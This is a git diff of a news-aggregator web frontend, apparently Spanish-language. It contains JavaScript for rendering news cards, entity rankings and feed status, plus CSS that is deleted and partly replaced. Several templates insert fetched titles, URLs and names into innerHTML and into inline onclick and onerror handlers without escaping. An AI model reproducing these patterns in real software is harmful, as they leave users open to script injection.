||||||
|
|
||||||
return `
|
|
||||||
<article class="card" onclick="window.open('${n.url}','_blank')">
|
|
||||||
${img}
|
|
||||||
<div class="card-body">
|
|
||||||
<div class="card-meta">
|
|
||||||
<span class="tag-tema">${n.tema || ''}</span>
|
|
||||||
<span class="card-fuente">${n.fuente || ''}</span>
|
|
||||||
<span class="card-fecha">${fmtDate(n.fecha)}</span>
|
|
||||||
</div>
|
|
||||||
<h2 class="card-title">${titulo}</h2>
|
|
||||||
${resumen ? `<p class="card-resumen">${resumen}…</p>` : ''}
|
|
||||||
<div class="card-footer">
|
|
||||||
<div class="card-ents">${entidades}</div>
|
|
||||||
<div class="card-badges">
|
|
||||||
${n.subtema ? `<span class="badge badge-pais">${n.subtema}</span>` : ''}
|
|
||||||
${n.lang && n.lang !== 'es' ? `<span class="badge badge-lang">${n.lang.toUpperCase()}</span>` : ''}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</article>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
async function loadNews(page = 1) {
|
|
||||||
const grid = document.getElementById('newsGrid');
|
|
||||||
grid.innerHTML = '<div class="loading">cargando...</div>';
|
|
||||||
const params = new URLSearchParams({ page, per_page: 24, ...currentFilters });
|
|
||||||
try {
|
|
||||||
const data = await fetchJSON(`${API}/news?${params}`);
|
|
||||||
totalPages = data.total_pages || 1;
|
|
||||||
currentPage = data.page;
|
|
||||||
document.getElementById('pageInfo').textContent = `${currentPage} / ${totalPages}`;
|
|
||||||
document.getElementById('prevBtn').disabled = currentPage <= 1;
|
|
||||||
document.getElementById('nextBtn').disabled = currentPage >= totalPages;
|
|
||||||
if (!data.news || data.news.length === 0) {
|
|
||||||
grid.innerHTML = '<div class="loading">sin resultados</div>';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
grid.innerHTML = data.news.map(buildCard).join('');
|
|
||||||
} catch(e) {
|
|
||||||
grid.innerHTML = `<div class="loading error">Error: ${e.message}</div>`;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── ENTIDADES ─────────────────────────────────────────────────────────────
|
|
||||||
const wikiCache = {};
|
|
||||||
async function getWikiImage(name) {
|
|
||||||
if (wikiCache[name] !== undefined) return wikiCache[name];
|
|
||||||
try {
|
|
||||||
const url = `https://en.wikipedia.org/api/rest_v1/page/summary/${encodeURIComponent(name)}`;
|
|
||||||
const r = await fetch(url, { signal: AbortSignal.timeout(3000) });
|
|
||||||
if (!r.ok) throw new Error();
|
|
||||||
const d = await r.json();
|
|
||||||
wikiCache[name] = d.thumbnail ? d.thumbnail.source : null;
|
|
||||||
} catch { wikiCache[name] = null; }
|
|
||||||
return wikiCache[name];
|
|
||||||
}
|
|
||||||
|
|
||||||
function initials(name) {
|
|
||||||
return name.split(' ').map(w => w[0]).slice(0,2).join('').toUpperCase();
|
|
||||||
}
|
|
||||||
|
|
||||||
async function loadEntidades(tipo) {
|
|
||||||
const list = document.getElementById('entidadesList');
|
|
||||||
list.innerHTML = '<div class="loading">cargando...</div>';
|
|
||||||
try {
|
|
||||||
const data = await fetchJSON(`${API}/entidades?tipo=${tipo}&limit=40`);
|
|
||||||
if (!data.length) { list.innerHTML = '<div class="loading">sin datos aún — el NER necesita procesar noticias primero</div>'; return; }
|
|
||||||
const max = data[0].count;
|
|
||||||
|
|
||||||
list.innerHTML = data.map(e => `
|
|
||||||
<div class="ent-row" data-texto="${e.texto}">
|
|
||||||
<div class="ent-avatar" id="av-${btoa(e.texto).replace(/[^a-z0-9]/gi,'')}">${initials(e.texto)}</div>
|
|
||||||
<div class="ent-info">
|
|
||||||
<span class="ent-name">${e.texto}</span>
|
|
||||||
<div class="ent-bar-row">
|
|
||||||
<div class="ent-bar-track"><div class="ent-bar-fill" style="width:${Math.round(e.count/max*100)}%"></div></div>
|
|
||||||
<span class="ent-count-label">${e.count} menciones</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>`).join('');
|
|
||||||
|
|
||||||
list.querySelectorAll('.ent-row').forEach(row => {
|
|
||||||
row.addEventListener('click', () => {
|
|
||||||
list.querySelectorAll('.ent-row').forEach(r => r.classList.remove('selected'));
|
|
||||||
row.classList.add('selected');
|
|
||||||
loadEntityNews(row.dataset.texto);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
if (tipo === 'persona') {
|
|
||||||
data.forEach(async e => {
|
|
||||||
const img = await getWikiImage(e.texto);
|
|
||||||
if (!img) return;
|
|
||||||
const avId = 'av-' + btoa(e.texto).replace(/[^a-z0-9]/gi,'');
|
|
||||||
const el = document.getElementById(avId);
|
|
||||||
if (el) el.innerHTML = `<img src="${img}" alt="${e.texto}" onerror="this.parentElement.innerHTML='${initials(e.texto)}'">`;
|
|
||||||
});
|
|
||||||
}
|
|
||||||
} catch(e) {
|
|
||||||
list.innerHTML = `<div class="loading error">${e.message}</div>`;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async function loadEntityNews(entidad) {
|
|
||||||
document.getElementById('entityNewsTitle').innerHTML = `${entidad} <small>noticias relacionadas</small>`;
|
|
||||||
const grid = document.getElementById('entityNewsGrid');
|
|
||||||
grid.innerHTML = '<div class="loading">cargando...</div>';
|
|
||||||
try {
|
|
||||||
const data = await fetchJSON(`${API}/news?entidad=${encodeURIComponent(entidad)}&per_page=12`);
|
|
||||||
if (!data.news || !data.news.length) { grid.innerHTML = '<div class="loading">sin noticias</div>'; return; }
|
|
||||||
grid.innerHTML = data.news.map(buildCard).join('');
|
|
||||||
} catch(e) {
|
|
||||||
grid.innerHTML = `<div class="loading error">${e.message}</div>`;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── FEEDS ─────────────────────────────────────────────────────────────────
|
|
||||||
async function loadFeeds() {
|
|
||||||
const list = document.getElementById('feedsList');
|
|
||||||
list.innerHTML = '<div class="loading">cargando...</div>';
|
|
||||||
try {
|
|
||||||
const data = await fetchJSON(`${API}/feeds?per_page=100`);
|
|
||||||
list.innerHTML = data.feeds.map(f => `
|
|
||||||
<div class="feed-row ${f.activo ? '' : 'feed-off'}">
|
|
||||||
<div class="feed-info">
|
|
||||||
<span class="feed-nombre">${f.nombre}</span>
|
|
||||||
<span class="feed-tema tag-tema">${f.tema || ''}</span>
|
|
||||||
${f.subtema ? `<span class="feed-sub">${f.subtema}</span>` : ''}
|
|
||||||
</div>
|
|
||||||
<div class="feed-meta">
|
|
||||||
<span class="feed-lang">${f.idioma || ''}</span>
|
|
||||||
<span class="feed-ok ${f.activo ? 'ok' : 'off'}">${f.activo ? '● activo' : '○ inactivo'}</span>
|
|
||||||
${f.fallos > 0 ? `<span class="feed-fallos">${f.fallos} fallos</span>` : ''}
|
|
||||||
${f.ultimo_ok ? `<span class="feed-date">${fmtDate(f.ultimo_ok)}</span>` : ''}
|
|
||||||
</div>
|
|
||||||
</div>`).join('');
|
|
||||||
} catch(e) {
|
|
||||||
list.innerHTML = `<div class="loading error">${e.message}</div>`;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── EVENTOS ───────────────────────────────────────────────────────────────
|
|
||||||
document.getElementById('applyBtn').addEventListener('click', () => {
|
|
||||||
currentFilters = {};
|
|
||||||
const q = document.getElementById('searchInput').value.trim();
|
|
||||||
const tema = document.getElementById('temaSelect').value;
|
|
||||||
const pais = document.getElementById('paisInput').value.trim();
|
|
||||||
const ent = document.getElementById('entidadInput').value.trim();
|
|
||||||
if (q) currentFilters.q = q;
|
|
||||||
if (tema) currentFilters.tema = tema;
|
|
||||||
if (pais) currentFilters.pais = pais;
|
|
||||||
if (ent) currentFilters.entidad = ent;
|
|
||||||
loadNews(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
document.getElementById('resetBtn').addEventListener('click', () => {
|
|
||||||
['searchInput','paisInput','entidadInput'].forEach(id => document.getElementById(id).value = '');
|
|
||||||
document.getElementById('temaSelect').value = '';
|
|
||||||
currentFilters = {};
|
|
||||||
loadNews(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
document.getElementById('searchInput').addEventListener('keydown', e => {
|
|
||||||
if (e.key === 'Enter') document.getElementById('applyBtn').click();
|
|
||||||
});
|
|
||||||
|
|
||||||
document.getElementById('prevBtn').addEventListener('click', () => loadNews(currentPage - 1));
|
|
||||||
document.getElementById('nextBtn').addEventListener('click', () => loadNews(currentPage + 1));
|
|
||||||
|
|
||||||
// ── INIT ──────────────────────────────────────────────────────────────────
|
|
||||||
loadStats();
|
|
||||||
loadTemas();
|
|
||||||
loadNews(1);
|
|
||||||
</script>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
|
|
@ -1,413 +0,0 @@
|
||||||
@import url('https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Oswald:wght@400;600;700&display=swap');
|
|
||||||
|
|
||||||
:root {
|
|
||||||
--bg: #000;
|
|
||||||
--surface: #0d0d0d;
|
|
||||||
--surface2: #1a1a1a;
|
|
||||||
--border: #2a2a2a;
|
|
||||||
--accent: #00ff6a;
|
|
||||||
--accent2: #00c4ff;
|
|
||||||
--warn: #ff6a00;
|
|
||||||
--text: #fff;
|
|
||||||
--muted: #888;
|
|
||||||
--font-head: 'Oswald', Impact, 'Arial Narrow', sans-serif;
|
|
||||||
--font-mono: 'Fira Code', monospace;
|
|
||||||
}
|
|
||||||
|
|
||||||
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
|
|
||||||
|
|
||||||
html, body { height: 100%; }
|
|
||||||
|
|
||||||
body {
|
|
||||||
background: var(--bg);
|
|
||||||
color: var(--text);
|
|
||||||
font-family: var(--font-mono);
|
|
||||||
font-size: 13px;
|
|
||||||
display: flex;
|
|
||||||
flex-direction: column;
|
|
||||||
min-height: 100vh;
|
|
||||||
}
|
|
||||||
|
|
||||||
a { color: var(--accent); text-decoration: none; }
|
|
||||||
|
|
||||||
/* ── HEADER ── */
|
|
||||||
header {
|
|
||||||
background: #000;
|
|
||||||
border-bottom: 2px solid var(--accent);
|
|
||||||
padding: 0 24px;
|
|
||||||
height: 56px;
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
position: sticky;
|
|
||||||
top: 0;
|
|
||||||
z-index: 100;
|
|
||||||
}
|
|
||||||
.header-inner { display: flex; align-items: center; gap: 28px; width: 100%; }
|
|
||||||
.back-link { color: var(--muted); font-size: 11px; letter-spacing: 1px; white-space: nowrap; font-family: var(--font-mono); }
|
|
||||||
.back-link:hover { color: var(--accent); }
|
|
||||||
|
|
||||||
.logo {
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-weight: 700;
|
|
||||||
font-size: 26px;
|
|
||||||
letter-spacing: 4px;
|
|
||||||
color: var(--text);
|
|
||||||
text-transform: uppercase;
|
|
||||||
white-space: nowrap;
|
|
||||||
}
|
|
||||||
.logo span { color: var(--accent); }
|
|
||||||
|
|
||||||
.header-tabs { display: flex; gap: 2px; margin-left: auto; }
|
|
||||||
.tab-btn {
|
|
||||||
background: none;
|
|
||||||
border: none;
|
|
||||||
border-bottom: 3px solid transparent;
|
|
||||||
color: var(--muted);
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 14px;
|
|
||||||
font-weight: 600;
|
|
||||||
letter-spacing: 2px;
|
|
||||||
padding: 6px 18px 3px;
|
|
||||||
cursor: pointer;
|
|
||||||
transition: all 0.15s;
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
.tab-btn:hover { color: var(--text); }
|
|
||||||
.tab-btn.active { color: var(--accent); border-bottom-color: var(--accent); }
|
|
||||||
|
|
||||||
/* ── STATS BAR ── */
|
|
||||||
.stats-bar {
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
gap: 0;
|
|
||||||
background: var(--surface);
|
|
||||||
border-bottom: 1px solid var(--border);
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
.stat-item {
|
|
||||||
display: flex;
|
|
||||||
flex-direction: column;
|
|
||||||
align-items: center;
|
|
||||||
gap: 2px;
|
|
||||||
padding: 10px 28px;
|
|
||||||
border-right: 1px solid var(--border);
|
|
||||||
flex: 1;
|
|
||||||
}
|
|
||||||
.stat-val {
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 28px;
|
|
||||||
font-weight: 700;
|
|
||||||
color: var(--accent);
|
|
||||||
line-height: 1;
|
|
||||||
}
|
|
||||||
.stat-label {
|
|
||||||
font-size: 9px;
|
|
||||||
color: var(--muted);
|
|
||||||
letter-spacing: 2px;
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
.stat-sep { display: none; }
|
|
||||||
|
|
||||||
/* ── TABS ── */
|
|
||||||
.tab-content { display: none; flex: 1; min-height: 0; }
|
|
||||||
.tab-content.active { display: flex; flex-direction: column; flex: 1; }
|
|
||||||
|
|
||||||
/* ── NEWS LAYOUT ── */
|
|
||||||
.layout { display: grid; grid-template-columns: 240px 1fr; flex: 1; min-height: 0; overflow: hidden; }
|
|
||||||
|
|
||||||
/* ── SIDEBAR ── */
|
|
||||||
.sidebar {
|
|
||||||
background: var(--surface);
|
|
||||||
border-right: 1px solid var(--border);
|
|
||||||
padding: 20px 14px;
|
|
||||||
display: flex;
|
|
||||||
flex-direction: column;
|
|
||||||
gap: 18px;
|
|
||||||
overflow-y: auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.filter-group { display: flex; flex-direction: column; gap: 6px; }
|
|
||||||
.filter-group label {
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 12px;
|
|
||||||
font-weight: 600;
|
|
||||||
color: var(--muted);
|
|
||||||
letter-spacing: 2px;
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
|
|
||||||
input, select {
|
|
||||||
background: #000;
|
|
||||||
border: 1px solid var(--border);
|
|
||||||
border-bottom: 2px solid var(--border);
|
|
||||||
color: var(--text);
|
|
||||||
font-family: var(--font-mono);
|
|
||||||
font-size: 12px;
|
|
||||||
padding: 8px 10px;
|
|
||||||
outline: none;
|
|
||||||
width: 100%;
|
|
||||||
transition: border-color 0.15s;
|
|
||||||
}
|
|
||||||
input:focus, select:focus { border-color: var(--accent); border-bottom-color: var(--accent); }
|
|
||||||
select option { background: #111; }
|
|
||||||
|
|
||||||
.btn-row { display: flex; gap: 6px; }
|
|
||||||
|
|
||||||
button {
|
|
||||||
background: var(--accent);
|
|
||||||
color: #000;
|
|
||||||
border: none;
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 13px;
|
|
||||||
font-weight: 700;
|
|
||||||
letter-spacing: 2px;
|
|
||||||
padding: 9px 14px;
|
|
||||||
cursor: pointer;
|
|
||||||
text-transform: uppercase;
|
|
||||||
transition: all 0.15s;
|
|
||||||
flex: 1;
|
|
||||||
}
|
|
||||||
button:hover { background: #fff; }
|
|
||||||
button:disabled { opacity: 0.25; cursor: not-allowed; }
|
|
||||||
button.btn-sec {
|
|
||||||
background: transparent;
|
|
||||||
color: var(--muted);
|
|
||||||
border: 1px solid var(--border);
|
|
||||||
}
|
|
||||||
button.btn-sec:hover { color: var(--text); border-color: var(--text); background: transparent; }
|
|
||||||
|
|
||||||
.sidebar-section { display: flex; flex-direction: column; gap: 8px; }
|
|
||||||
.sidebar-title {
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 11px;
|
|
||||||
font-weight: 600;
|
|
||||||
color: var(--muted);
|
|
||||||
letter-spacing: 2px;
|
|
||||||
text-transform: uppercase;
|
|
||||||
padding-bottom: 6px;
|
|
||||||
border-bottom: 1px solid var(--border);
|
|
||||||
}
|
|
||||||
|
|
||||||
.bar-row {
|
|
||||||
display: grid;
|
|
||||||
grid-template-columns: 1fr 50px 30px;
|
|
||||||
align-items: center;
|
|
||||||
gap: 8px;
|
|
||||||
padding: 4px 0;
|
|
||||||
cursor: pointer;
|
|
||||||
transition: opacity 0.15s;
|
|
||||||
}
|
|
||||||
.bar-row:hover { opacity: 0.75; }
|
|
||||||
.bar-label {
|
|
||||||
font-size: 11px;
|
|
||||||
color: var(--text);
|
|
||||||
white-space: nowrap;
|
|
||||||
overflow: hidden;
|
|
||||||
text-overflow: ellipsis;
|
|
||||||
text-transform: uppercase;
|
|
||||||
font-family: var(--font-head);
|
|
||||||
letter-spacing: 1px;
|
|
||||||
}
|
|
||||||
.bar-track { height: 5px; background: var(--border); overflow: hidden; }
|
|
||||||
.bar-fill { height: 100%; background: var(--accent); transition: width 0.4s; }
|
|
||||||
.bar-count { font-size: 11px; color: var(--muted); text-align: right; font-family: var(--font-head); }
|
|
||||||
.empty-bar { font-size: 11px; color: var(--muted); }
|
|
||||||
|
|
||||||
.pagination { display: flex; align-items: center; gap: 8px; margin-top: auto; padding-top: 12px; border-top: 1px solid var(--border); }
|
|
||||||
.pagination button { padding: 6px 10px; font-size: 11px; flex: none; }
|
|
||||||
#pageInfo { font-size: 12px; color: var(--muted); text-align: center; flex: 1; font-family: var(--font-head); letter-spacing: 1px; }
|
|
||||||
|
|
||||||
/* ── NEWS GRID ── */
|
|
||||||
.news-grid {
|
|
||||||
padding: 20px;
|
|
||||||
display: grid;
|
|
||||||
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
|
|
||||||
gap: 14px;
|
|
||||||
align-content: start;
|
|
||||||
overflow-y: auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.loading { grid-column: 1/-1; padding: 60px; text-align: center; color: var(--muted); font-size: 13px; letter-spacing: 2px; }
|
|
||||||
.loading.error { color: var(--warn); }
|
|
||||||
|
|
||||||
/* ── CARD ── */
|
|
||||||
.card {
|
|
||||||
background: var(--surface);
|
|
||||||
border: 1px solid var(--border);
|
|
||||||
cursor: pointer;
|
|
||||||
transition: border-color 0.2s, transform 0.2s, box-shadow 0.2s;
|
|
||||||
display: flex;
|
|
||||||
flex-direction: column;
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
.card:hover {
|
|
||||||
border-color: var(--accent);
|
|
||||||
transform: translateY(-3px);
|
|
||||||
box-shadow: 0 8px 24px rgba(0,255,106,0.1);
|
|
||||||
}
|
|
||||||
.card-img { height: 160px; overflow: hidden; background: var(--surface2); position: relative; }
|
|
||||||
.card-img img { width: 100%; height: 100%; object-fit: cover; display: block; }
|
|
||||||
.card-body { padding: 12px 14px; display: flex; flex-direction: column; gap: 8px; flex: 1; }
|
|
||||||
.card-meta { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; }
|
|
||||||
|
|
||||||
.tag-tema {
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 10px;
|
|
||||||
font-weight: 700;
|
|
||||||
letter-spacing: 2px;
|
|
||||||
padding: 3px 8px;
|
|
||||||
background: var(--accent);
|
|
||||||
color: #000;
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
.card-fuente { font-size: 10px; color: var(--accent2); letter-spacing: 1px; font-family: var(--font-head); }
|
|
||||||
.card-fecha { font-size: 10px; color: var(--muted); margin-left: auto; }
|
|
||||||
|
|
||||||
.card-title {
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 16px;
|
|
||||||
font-weight: 700;
|
|
||||||
color: var(--text);
|
|
||||||
line-height: 1.3;
|
|
||||||
letter-spacing: 0.5px;
|
|
||||||
}
|
|
||||||
.card-resumen { font-size: 11px; color: var(--muted); line-height: 1.6; }
|
|
||||||
|
|
||||||
.card-footer { display: flex; justify-content: space-between; align-items: flex-end; gap: 8px; margin-top: auto; padding-top: 8px; border-top: 1px solid var(--border); }
|
|
||||||
.card-ents { display: flex; flex-wrap: wrap; gap: 4px; }
|
|
||||||
.card-badges { display: flex; gap: 4px; flex-shrink: 0; }
|
|
||||||
|
|
||||||
.ent-tag {
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 10px;
|
|
||||||
font-weight: 600;
|
|
||||||
padding: 2px 7px;
|
|
||||||
letter-spacing: 1px;
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
.ent-persona { background: rgba(0,196,255,0.12); color: var(--accent2); border: 1px solid rgba(0,196,255,0.25); }
|
|
||||||
.ent-organizacion { background: rgba(255,106,0,0.12); color: var(--warn); border: 1px solid rgba(255,106,0,0.25); }
|
|
||||||
.ent-lugar { background: rgba(160,90,255,0.12); color: #b07aff; border: 1px solid rgba(160,90,255,0.25); }
|
|
||||||
|
|
||||||
.badge { font-family: var(--font-head); font-size: 10px; font-weight: 600; padding: 2px 7px; letter-spacing: 1px; text-transform: uppercase; }
|
|
||||||
.badge-pais { background: var(--surface2); color: var(--muted); border: 1px solid var(--border); }
|
|
||||||
.badge-lang { background: rgba(0,255,106,0.1); color: var(--accent); border: 1px solid rgba(0,255,106,0.2); }
|
|
||||||
|
|
||||||
/* ── ENTIDADES TAB ── */
|
|
||||||
.entities-layout { display: grid; grid-template-columns: 360px 1fr; flex: 1; min-height: 0; overflow: hidden; }
|
|
||||||
|
|
||||||
.entity-panel { background: var(--surface); border-right: 1px solid var(--border); display: flex; flex-direction: column; overflow: hidden; }
|
|
||||||
.entity-panel-header { padding: 16px; border-bottom: 1px solid var(--border); display: flex; flex-direction: column; gap: 10px; }
|
|
||||||
|
|
||||||
.tipo-tabs { display: flex; gap: 4px; }
|
|
||||||
.tipo-btn {
|
|
||||||
flex: 1;
|
|
||||||
padding: 8px;
|
|
||||||
font-size: 12px;
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-weight: 700;
|
|
||||||
letter-spacing: 2px;
|
|
||||||
background: transparent;
|
|
||||||
color: var(--muted);
|
|
||||||
border: 1px solid var(--border);
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
.tipo-btn.active { color: #000; background: var(--accent); border-color: var(--accent); }
|
|
||||||
|
|
||||||
.entities-list { flex: 1; overflow-y: auto; padding: 12px; display: flex; flex-direction: column; gap: 6px; }
|
|
||||||
|
|
||||||
.ent-row {
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
gap: 12px;
|
|
||||||
padding: 10px 12px;
|
|
||||||
cursor: pointer;
|
|
||||||
border: 1px solid transparent;
|
|
||||||
transition: all 0.15s;
|
|
||||||
}
|
|
||||||
.ent-row:hover { border-color: var(--border); background: var(--surface2); }
|
|
||||||
.ent-row.selected { border-color: var(--accent); background: rgba(0,255,106,0.05); }
|
|
||||||
|
|
||||||
.ent-avatar {
|
|
||||||
width: 44px;
|
|
||||||
height: 44px;
|
|
||||||
border-radius: 50%;
|
|
||||||
overflow: hidden;
|
|
||||||
flex-shrink: 0;
|
|
||||||
background: var(--surface2);
|
|
||||||
border: 2px solid var(--border);
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
justify-content: center;
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 16px;
|
|
||||||
font-weight: 700;
|
|
||||||
color: var(--muted);
|
|
||||||
}
|
|
||||||
.ent-avatar img { width: 100%; height: 100%; object-fit: cover; }
|
|
||||||
.ent-row.selected .ent-avatar { border-color: var(--accent); }
|
|
||||||
|
|
||||||
.ent-info { flex: 1; min-width: 0; display: flex; flex-direction: column; gap: 4px; }
|
|
||||||
.ent-name {
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 15px;
|
|
||||||
font-weight: 700;
|
|
||||||
letter-spacing: 1px;
|
|
||||||
overflow: hidden;
|
|
||||||
text-overflow: ellipsis;
|
|
||||||
white-space: nowrap;
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
.ent-bar-row { display: flex; align-items: center; gap: 8px; }
|
|
||||||
.ent-bar-track { flex: 1; height: 4px; background: var(--border); overflow: hidden; }
|
|
||||||
.ent-bar-fill { height: 100%; background: var(--accent); transition: width 0.4s; }
|
|
||||||
.ent-count-label { font-size: 11px; color: var(--muted); font-family: var(--font-head); letter-spacing: 1px; flex-shrink: 0; }
|
|
||||||
|
|
||||||
.entity-news { display: flex; flex-direction: column; overflow: hidden; }
|
|
||||||
.entity-news-title {
|
|
||||||
padding: 16px 20px;
|
|
||||||
font-family: var(--font-head);
|
|
||||||
font-size: 22px;
|
|
||||||
font-weight: 700;
|
|
||||||
letter-spacing: 3px;
|
|
||||||
color: var(--accent);
|
|
||||||
border-bottom: 1px solid var(--border);
|
|
||||||
background: var(--surface);
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
.entity-news-title small { font-size: 12px; color: var(--muted); margin-left: 8px; letter-spacing: 1px; }
|
|
||||||
.entity-news .news-grid { flex: 1; overflow-y: auto; }
|
|
||||||
|
|
||||||
/* ── FEEDS TAB ── */
|
|
||||||
.feeds-container { padding: 20px; overflow-y: auto; }
|
|
||||||
.feeds-list { display: flex; flex-direction: column; gap: 8px; }
|
|
||||||
.feed-row {
|
|
||||||
background: var(--surface);
|
|
||||||
border: 1px solid var(--border);
|
|
||||||
border-left: 3px solid var(--border);
|
|
||||||
padding: 14px 18px;
|
|
||||||
display: flex;
|
|
||||||
justify-content: space-between;
|
|
||||||
align-items: center;
|
|
||||||
gap: 16px;
|
|
||||||
flex-wrap: wrap;
|
|
||||||
transition: border-color 0.15s;
|
|
||||||
}
|
|
||||||
.feed-row:hover { border-left-color: var(--accent); }
|
|
||||||
.feed-off { opacity: 0.4; border-left-color: var(--muted) !important; }
|
|
||||||
.feed-info { display: flex; align-items: center; gap: 12px; flex: 1; }
|
|
||||||
.feed-nombre { font-family: var(--font-head); font-size: 16px; font-weight: 700; letter-spacing: 1px; text-transform: uppercase; }
|
|
||||||
.feed-sub { font-size: 11px; color: var(--muted); }
|
|
||||||
.feed-meta { display: flex; align-items: center; gap: 12px; flex-shrink: 0; }
|
|
||||||
.feed-lang { font-size: 11px; color: var(--muted); font-family: var(--font-head); letter-spacing: 1px; }
|
|
||||||
.feed-ok.ok { font-family: var(--font-head); font-size: 11px; color: var(--accent); letter-spacing: 1px; }
|
|
||||||
.feed-ok.off { font-family: var(--font-head); font-size: 11px; color: var(--muted); letter-spacing: 1px; }
|
|
||||||
.feed-fallos { font-size: 11px; color: var(--warn); font-family: var(--font-head); }
|
|
||||||
.feed-date { font-size: 11px; color: var(--muted); }
|
|
||||||
|
|
||||||
@media (max-width: 900px) {
|
|
||||||
.layout, .entities-layout { grid-template-columns: 1fr; }
|
|
||||||
.sidebar { border-right: none; border-bottom: 1px solid var(--border); max-height: 50vh; }
|
|
||||||
.stats-bar { flex-wrap: wrap; }
|
|
||||||
.stat-item { flex: 1; min-width: 80px; }
|
|
||||||
}
|
|
||||||
|
|
@ -1,6 +1,10 @@
|
||||||
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face.
|
@font-face {
|
||||||
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en
|
font-family: "Retrolift";
|
||||||
fonts/ y anade aqui la regla con una ruta relativa. */
|
src: url("fonts/retrolift.woff2") format("woff2"),
|
||||||
|
url("fonts/retrolift.woff") format("woff");
|
||||||
|
font-weight: normal;
|
||||||
|
font-style: normal;
|
||||||
|
}
|
||||||
|
|
||||||
* {
|
* {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
|
|
@ -191,29 +195,6 @@ nav {
|
||||||
background: #ff6600;
|
background: #ff6600;
|
||||||
}
|
}
|
||||||
|
|
||||||
#sidebar select {
|
|
||||||
padding: 10px;
|
|
||||||
border: 2px solid #39ff14;
|
|
||||||
background: black;
|
|
||||||
color: #39ff14;
|
|
||||||
border-radius: 5px;
|
|
||||||
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
|
|
||||||
transition: box-shadow 0.3s ease;
|
|
||||||
appearance: none;
|
|
||||||
cursor: pointer;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
font-size: 0.85em;
|
|
||||||
}
|
|
||||||
#sidebar select:hover { box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3); }
|
|
||||||
#sidebar select option { background: #0a0a0a; color: #39ff14; }
|
|
||||||
#sidebar .sim-val {
|
|
||||||
font-weight: bold;
|
|
||||||
color: #fff;
|
|
||||||
background: rgba(57,255,20,0.15);
|
|
||||||
border-radius: 3px;
|
|
||||||
padding: 0 4px;
|
|
||||||
}
|
|
||||||
|
|
||||||
footer {
|
footer {
|
||||||
width: 100%;
|
width: 100%;
|
||||||
background-color: #000000;
|
background-color: #000000;
|
||||||
|
|
@ -253,54 +234,3 @@ footer p {
|
||||||
left: 250px;
|
left: 250px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/* ===== Panel de detalle (split-screen) ===== */
|
|
||||||
main.split-screen { display: flex; height: 100vh; }
|
|
||||||
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; }
|
|
||||||
#detailPanel {
|
|
||||||
width: 0; max-width: 0; overflow: hidden;
|
|
||||||
transition: width 0.3s ease, max-width 0.3s ease;
|
|
||||||
background: #0a0a0a; color: #fff;
|
|
||||||
position: relative; z-index: 4;
|
|
||||||
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
|
|
||||||
}
|
|
||||||
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
|
|
||||||
|
|
||||||
#closeDetail {
|
|
||||||
position: absolute; top: 12px; left: 12px;
|
|
||||||
background: rgba(0,0,0,0.85); border: 1px solid #39ff14;
|
|
||||||
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
|
|
||||||
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
|
|
||||||
transition: background 0.2s;
|
|
||||||
}
|
|
||||||
#closeDetail:hover { background: rgba(57,255,20,0.15); }
|
|
||||||
|
|
||||||
#detailContent {
|
|
||||||
padding: 52px 18px 20px; overflow-y: auto;
|
